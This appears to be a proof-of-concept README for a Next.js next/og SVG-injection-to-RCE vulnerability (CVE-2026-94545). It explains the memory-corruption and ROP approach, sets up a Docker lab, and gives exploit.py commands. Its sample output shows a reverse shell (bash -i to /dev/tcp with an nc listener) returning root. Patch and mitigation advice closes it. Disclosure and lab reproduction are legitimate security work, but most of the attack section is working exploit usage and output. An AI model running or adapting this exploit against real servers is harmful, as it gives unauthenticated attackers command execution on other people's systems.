★ CVE-2026-94545 Next.js next/og SVG injection to native RCE ★
PoC.Video.mp4
next/ogbuilds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime withsharpinstalled, that SVG is rasterized by native libraries (libvips, librsvg, libxml2) rather than the sandboxed wasm renderer. A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reachesexecvewithout an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.
| Category | Version |
|---|---|
| Vulnerable | Next.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5 |
| Patched | Next.js 16.3.6 / Satori 0.33.5 or later |
Only the Node.js runtime path is affected. With
export const runtime = 'edge', or an install withoutsharp, the image is drawn by the sandboxedresvg-wasm renderer and the bug does not lead to code execution.
- Unauthenticated code execution as the Next.js server process. Any route that passes request data into
ImageResponseis a sink. - The exploit is blind. A successful
execvereplaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home. - The payload is stable. Because the Node binary is non-PIE, the gadget addresses are the same on every host and reboot for a given Node build, so no per-target leak or bruteforce is needed.
- A successful hit crashes the worker. The node process is replaced by the injected command, so the server stops responding until it is restarted.
A minimal Next.js app that reproduces the vulnerable configuration. The route at /api/og renders
an ImageResponse on the Node runtime, and sharp is installed so the native rasterizer is used.
The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs
npm dependencies, and runs next build, which takes a few minutes.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"| Precondition | State in this lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 on the Node runtime | Next 16.3.5, runtime = 'nodejs' |
sharp installed, so the native librsvg/libxml2 path is used |
sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node binary for a stable ROP base | official Node v24.20.0 linux-x64 (SHA-verified) |
| OG-image route reachable without auth | GET and POST /api/og, request text goes into an SVG <title> |
| Outbound path available for a reverse shell | bash and /dev/tcp are present |
The vulnerable route is POST /api/og. It takes the request body and places it in an SVG <title>
before rasterizing. exploit.py builds that SVG for a chosen command, encodes the ROP chain into a
<path>, and sends it to the route.
The simplest run opens a reverse shell. Give it the target and a listener address; it starts nc
for you, fires the request, and hands you the shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
The reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og- Upgrade to Next.js 16.3.6 / Satori 0.33.5 or later, which escapes SVG text when it is serialized and closes the injection.
- If you cannot upgrade yet, move
next/ogroutes toexport const runtime = 'edge'so the sandboxed wasm renderer is used, or removesharpso the native path is not reached, and keep unsanitized user input out ofImageResponsechildren. - Put OG-image routes behind authentication or an allowlist, and restrict the server's outbound traffic to make blind exfil harder.
- After patching, treat an internet-reachable instance as compromised: rotate any secrets the app process could read and check for persistence.
- KR:
- EN: